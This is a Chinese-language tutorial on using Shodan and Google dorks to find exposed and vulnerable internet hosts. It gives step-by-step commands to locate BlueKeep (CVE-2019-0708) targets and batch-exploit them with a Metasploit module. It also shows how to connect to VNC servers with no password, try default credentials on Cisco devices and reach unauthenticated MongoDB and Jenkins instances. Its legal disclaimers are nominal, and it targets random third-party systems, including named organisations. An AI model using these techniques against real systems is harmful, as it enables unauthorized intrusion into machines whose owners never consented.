如涉及侵权马上删除文章
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负
一.shodan原理与功能的介绍
Shodan Search Engine
它是专门搜网络设备的,只要联网的,只要有IP地址的都可以称为网络设备
1.shodan:
在服务器上部署了各种扫描器,这些扫描器也就是我们安全见闻里面讲过的,什么漏洞扫描器,硬件扫描器(路由器交换机处理器),还有什么目录扫描器等等等,它们二十四小时不停的扫描
知道具体部署了扫描器
扫IP
2.功能:
在线查询功能,和离线的客户端,monitor(监控)可以监控一些IP地址,它会帮我去扫描有什么漏洞有什么bug等,然后保存一些结果给我们,api接口调用,主要就是用于信息收集的。
3.kali安装shodan
(1)kali安装shodan
git clone https://github.com/achillelean/shodan-python.git
(2)切换到shodan-python文件夹
cd shodan-python
(3)安装
python setup.py install
(4)初始化shodan
shodan init api_key
api_key可以在你的shodan账号中找到
shodan -h
查看使用帮助文档
4.特殊代码
具体参照这个网站
世界各国国别简称(三位英文缩写).xls - 淘豆网
5.使用host 和 search参数
比如我今天要找一些IP 地址 看看它有什么服务
shodan search --limit 10 country:jp
里面信息有些杂了,我们可以过滤出一些重要信息.
shodan search --limit 10 --fields ip country:jp
结果为数字IP,那如何得到我们想要的格式呢? 加个str即可
shodan search --limit 10 --fields ip_str,post country:jp
得到了日本相关的十个IP,那我们还想要找个有危险端口3389的IP,城市在深圳
shodan search --limit 10 --fields ip_str port:3389 country:cn city:shenzhen
shodan host IP
类似于这样的,我们发现存在很多漏洞,这样就可以挨个尝试了(只涉及教学,他人恶意行为与本人无关)
利用shodan查看IP地址的历史数据
shodan host ip --histor
通过history来查看一些时间提供的服务
国别地区
country:cn
城市信息
city:shenzhen
端口
port:3389
操作系统
os:windows7
漏洞
has_vuln:True
设备:路由器
device: router
web端的一些设备
tp-link
6.使用parse 和 download参数
我们首先看看这个download
shodan download -h
shodan download 0708 --limit 10 --fields ip_str,port '\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00' (删掉过滤信息)
emmm没有一个结果...
shodan parse -h
进行一个解析
shodan parse --fields ip_str 文件路径(把文化拖过来)
可以进行一个查看
这就是一个批量刷漏洞的姿势好吧,希望大家遵纪守法,
为什么不用shodan search vuln:cve-2019-0708?
这种要更高级别的账号好吧,我们换种方式绕过它去批量刷洞
7.使用count参数
shodan count "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
上面这条命令是什么意思呢?就是说他这个数据库里面大概存在一万四千多万条与这个漏洞相关的东西,count就是数量的意思
8.使用honeyscore参数(判断是否为蜜罐)
shodan的honeyscore可以自动判断它是不是蜜罐:
shodan honeyscore ip地址
命令行工具蜜罐模块应该有点问题
所以去网站进行查看
honeyscore.shodan.io
9.vnc空密码
vnc(相当于是一个远程链接工具)
shodan search --limit 30 --fields ip_str "authentication disabled" port:5900
得到了大约30个关于没设置密码的IP
使用VNC直接进行远程链接
也可以选择下载下来数据
shodan download --limit 100 "authentication disabled" port:5900
shodan parse --fields ip_str 文件路径 > flag.txt
二,如何利用shodan查找漏洞
怎么去查一个cve-2019-0708的一个漏洞?
1.查找有关漏洞的网站以及其开放的端口
shodan search --limit 10 --fields ip_str,port "\x03\x00\x00\x0b\x06\xd0\x00\x00\x00\x124\x00"
十六进制字符串(类似于指纹的方式去找)
上面这串字符串就是cve-2019-0708 的十六进制漏洞特征,
有漏洞不代表能利用。
2.测试主机是否存活
输入IP用windows远程连接
3.查看漏洞是否可以进行下一步
shodan host IP
4.尝试登录
远程链接出现。
测试弱口令 Administrator &Administrator 无法连接
把IP放到文本文件里面
可以使用metasploit去进行批量的漏洞利用,
msfconsole
进入metasploit
search 0708 (0708是存有IP的文本文件)
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
查看选项设置
set rhosts file:'文件路径'(可以直接拖入IP地址文件)
check
进去不成功有几个点
首先 show options 看清我们的这个 payload, ip端口 要填对 (如图所示)
在一个就是show targets 它支持windows7, sever这种,要把targets 设置正确.
三,利用shodan搜索信息
1.查看出口IP
shodan myip
该指令用于 查看自己的出口IP,哪个地址链接的公网
2.查看被黑客拿下的网站
shodan search --limit 10 --fields ip_str,port http.title:hacked by
有的黑客在黑了人家电脑之后会留什么hack到此一游这种
刷公益src是不是也可以利用这种办法找到有漏洞的网站呢?
shodan search --limit 10 --fields ip_str.port http.title:hacked by country:cn
我们精确到城市看看
shodan search --limit 10 --fields ip_str.port http.title:hacked by country:cn city:beijing
3.查看特定搜索的后台
还能搜些什么title关键字的网站呢 比如棋牌,比如,后台, mysql 等等这种关键字眼
shodan search --limit 10 --fields ip_str.port http.title:mysql
shodan search --limit 10 --fields ip_str.port http.title:后台
具体内容可以根据自己的想象力需求去搜.
4.查看弱口令设备
我们接下来带大家去搜一些弱口令设备,比如说思科,路由器等等
shodan search --limit 10 --fields ip_str,port "cisco -unauthorized port:23"
cisco: 对应思科
unauthorized: 对应未授权
打开相关工具输入username: admin/cisco password: cisco进行尝试
看看运气好不好能不能连接上
5.搜索网段,组织,防火墙,前端信息
nsa ip address range
www.nsa.gov
shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24
net: 某网站的一个网段
shodan search --limit 10 --fields ip_str,port org:nsgov has_vuln:true
搜索一些组织的IP地址
其中 has_vuln:指的是存在资产漏洞
shodan search --limit 10 --fields ip_str,port hostname:google
找一些网址所在组织的IP地址
shodan search --limit 10 --fields ip_str,port country:cn http.waf:safedog
http.waf: 查找一些安装了安全狗waf的网站
shodan search --limit 10 --fields ip_str,port country:cn http.html:login
http.html: 检索html前端页面中带有关键字的ip地址和title类似
6.搜索Mongodb未授权的数据库
shodan search --limit 10 --fields ip_str "Mongodb server information -authentication" port:27017
搜Mongodb未授权登录数据库mongodb自己下载未授权的一般能够直接链接数据库这个是必学的)
jenkins:(组件不懂得自己去搜不过多介绍
7.搜索Jenkins
shodan search --limit 10 --fields ip_str "X-Jenkins" OR "Set-cookie:JSESSIONID" http.title:"Dashboard"
hodan search:表示使用 Shodan 进行搜索操作。 --limit 10:限制搜索结果的数量为 10 个。 --fields ip_str:指定只返回搜索结果中的 IP 地址字段。
"X-Jenkins" OR "Set-cookie:JSESSIONID":这是搜索条件,意味着搜索结果中要么响应头包含“X-Jenkins”,要么“Set-cookie”的值包含“JSESSIONID”。使用“OR”逻辑运算符连接了这两个条件,扩大了搜索的范围。
http.title:"Dashboard":另一个搜索条件,表示 HTTP 响应的标题中包含“Dashboard”这个字符串。
Jenkins 主要作用:
一、自动化构建与部署 能自动从代码仓库获取代码并进行编译、打包等构建操作。可以把构建好的成果自动部署到不同环境中。
二、自动化测试 自动运行各种测试,如单元测试、集成测试等。
三、任务管理
可设置定时任务,按特定时间自动执行工作。 能管理任务间的依赖关系。 监控任务状态,失败时通知相关人员。
四、可扩展定制
有很多插件可满足不同需求,也能自行开发插件。 自动化测试 自动上线 自动回滚)
在渗透测试过程中的辅助作用
自动化测试:Jenkins 可以用于自动化渗透测试过程中的一些任务,如漏洞扫描、安全测试等。通过编写 Jenkins 任务,可以定期对目标系统进行安全测试,提高测试效率和覆盖范围。
持续集成与持续部署(CI/CD):在一些企业中, Jenkins 被用于 CI/CD 流程中。渗透测试人员可以利用 Jenkins 的 CI/CD 流程,在开发和部署过程中进行安全测试,及时发现和修复安全问题。
漏洞管理:Jenkins 可以与漏洞管理工具集成,帮助企业管理和跟踪安全漏洞。渗透测试人员可以利用 Jenkins 的漏洞管理功能,了解目标系统中存在的安全漏洞,并制定相应的攻击策略。
总之,Jenkins 在渗透测试中既可能是攻击目标,也可以作为辅助工具。渗透测试人员需要了解 Jenkins 的安全风险和漏洞,以及如何利用 Jenkins 来提高渗透测试的效率和效果。同时,企业也需要加强 Jenkins 的安全配置和管理,防止被恶意利用。
四,shodan搜索引擎主界面的利用
首先打开他们的官方网站Shodan Search Engine,比如还是拿0708漏洞举例好吧。
1.搜索框
直接在和命令行里面搜search 是一样的
深色版本
\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00
2.webcam (摄像头的一些信息)
3.monitor
shodan的一个模块,用来监控网站 ip用的
学术会员可以监控大约16个IP地址
4.manage
资产管理 添加要监控的网站 ip
5.settings
设置通知邮件
6.dashboard
现有监控的一些信息 端口 漏洞 ip地址 (存在cdn就会有多个地址)
shodan search --limit 10 --fields ip_str.port product:Apache httpd
搜索Apache中间件服务
shodan search --limit 10 --fields ip_str.port org:Tencent cloud
搜索腾讯云资产
五.shodan其他的姿势
1.alert用法
shodan alert -h
查看帮助文档 这个就是昨天讲的怎么去配置ip监控 我们能在web页面上面去做这里就不去过多的讲.
2.info用法
shodan info
查看你查询的 扫描的一些次数 每个账户都是每个月有限制次数的
3.domain用法
shodan domain 域名
查询域名信息 有很多查询域名的工具不一定要用shodan 知道就行
4.scan用法
shodan实时的去扫描 就用scan 再扫描一次就OK了
shodan scan -h
查看帮助文档
其中关键的参数:
submit 对IP/域名进行扫描查询
list 看查询的信息
shodan scan submit ip地址
shodan scan list
查看扫描信息
shodan stats --facets ssl.version country:cn has_ssl:true http
统计中国使用了ssl的ip,并用版本做一个统计.
主要你们得会各种参数的组合,国家地区、漏洞、版本、ip、数数。等等的一系列参数配合起来。
截图搜索参数:
has_screenshot:true cisco
六.谷歌语法
我们继续看看Google搜索(因为它不值得我们去再开一个专题课,就在这一带而过了)
1.inurl
“inurl:admin”:查找包含 “admin”的网页URL,可能找到管理后台入口。
“inurl:login”:查找包含 “login”的登录页面。
“inurl:php?id=”:查找可能存在SQL注入漏洞的PHP页面。
“inurl:asp?id=”:查找可能存在SQL注入漏洞的ASP页面。
“inurl:jsp?id=”:查找可能存在SQL注入漏洞的JSP页面。
2.filetype
“filetype:pdf 关键词”:查找特定关键词的PDF文件。
“filetype:doc 关键词”:查找特定关键词的Word文档。
“filetype:xls 关键词”:查找特定关键词的Excel表格。
3.intitle
“intitle:后台管理”:查找标题中包含 “后台管理”的网页。
“intitle:登录页面”:查找标题中包含 “登录页面”的网页。
4.site
“site:.edu inurl:forum”:在教育机构网站中查找论坛页面。
“site:.com inurl:phpmyadmin”:在商业网站中查找可能存在的phpMyAdmin管理页面。
“site:.org inurl:password”:在非营利组织网站中查找包含 “password”的页面,可能找到泄露的密码信息。
“site:.net inurl:backup”:在.net域网站中查找备份文件。
“site:.com intitle:敏感信息”:在商业网站中查找标题包含敏感信息的页面。
“site:company.com inurl:confidential”:在特定公司网站中查找包含 “confidential”(机密)的页面。
“site:domain.com inurl:uploads”:在特定域网站中查找上传文件的目录。
“site:.edu.cn filetype:ppt 关键词”:在教育机构中文域网站中查找特定关键词的PPT文件。
“site:* .edu inurl:vulnerability”:在各种教育网站中查找包含 “vulnerability”(漏洞)的页面。